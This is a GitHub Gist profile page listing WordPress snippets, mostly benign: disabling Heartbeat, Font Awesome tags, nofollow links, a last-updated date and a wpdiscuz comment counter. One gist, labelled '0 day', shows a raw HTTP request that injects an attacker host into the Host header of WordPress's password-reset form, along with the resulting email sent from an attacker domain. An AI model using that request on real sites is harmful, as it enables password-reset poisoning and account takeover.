Skip to content

Instantly share code, notes, and snippets.

Trung Hieu Bui Kaiderella

View GitHub Profile
@Kaiderella
Kaiderella / functions.php
Created May 22, 2017
Vô hiệu hóa Heartbeat
View functions.php
add_action( 'init', 'stop_heartbeat', 1 );
function stop_heartbeat() {
wp_deregister_script('heartbeat');
}
@Kaiderella
Kaiderella / resulting-email
Created May 11, 2017
0 day resulting email
View resulting-email
------[ resulting e-mail ]-----
Subject: [CompanyX WP] Password Reset
Return-Path: <wordpress@attackers-mxserver.com>
From: WordPress <wordpress@attackers-mxserver.com>
Message-ID: <e6fd614c5dd8a1c604df2a732eb7b016@attackers-mxserver.com>
X-Priority: 3
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
View http-request
-----[ HTTP Request ]----
POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: injected-attackers-mxserver.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
user_login=admin&redirect_to=&wp-submit=Get+New+Password
------------------------
@Kaiderella
Kaiderella / font-awesome-i-class
Created Apr 14, 2017
Chèn Font Awesome với thẻ i
View font-awesome-i-class
<i class="fa fa-home" aria-hidden="true"></i>
@Kaiderella
Kaiderella / font-awesome-span-class
Created Apr 14, 2017
Chèn Font Awesome với thẻ span
View font-awesome-span-class
<span class="fa fa-home"></span>
@Kaiderella
Kaiderella / functions.php
Created Apr 12, 2017
Nofollow tất cả external links
View functions.php
//* Add rel nofollow to all external links
function wp_nofollow($content)
{
return preg_replace_callback('/<a[^>]+/', 'wp_nofollow_callback', $content);
}
function wp_nofollow_callback($matches)
{
$link = $matches[0];
$site_link = get_bloginfo('url');
if (strpos($link, 'rel') === false)
@Kaiderella
Kaiderella / style.css
Last active Apr 10, 2017
Tùy biến CSS cho ngày cập nhật bài viết
View style.css
.last-updated {
// Your CSS
}
@Kaiderella
Kaiderella / functions.php
Last active Apr 10, 2017
Hiển thị ngày cập nhật bài viết
View functions.php
//* Display last updated date
function wpcb_last_updated_date( $content ) {
$u_time = get_the_time('U');
$u_modified_time = get_the_modified_time('U');
if ($u_modified_time >= $u_time + 86400) {
$updated_date = get_the_modified_time('d/m/Y');
$updated_time = get_the_modified_time('H:i');
$custom_content .= '<p class="last-updated">Cập nhật lần cuối '. $updated_date . ' at '. $updated_time .'</p>';
}
@Kaiderella
Kaiderella / functions.php
Created Apr 6, 2017
Comments count for wpdiscuz
View functions.php
add_filter('wpdiscuz_comment_author', 'my_commentCount', 10, 2);
function my_commentCount($author_name, $comment) {
global $wpdb;
$count = $wpdb->get_var('SELECT COUNT(comment_ID) FROM ' . $wpdb->comments. ' WHERE comment_author_email = "' . addslashes($comment->comment_author_email) . '"');
return $author_name .' | <span class="wpdiscuz-comment-count">'. $count . ' comments</span>';
}
@Kaiderella
Kaiderella / wp-config.php
Created Mar 30, 2017
Define WP temp directory
View wp-config.php
define('WP_TEMP_DIR', ABSPATH . 'wp-content/');
You can’t perform that action at this time.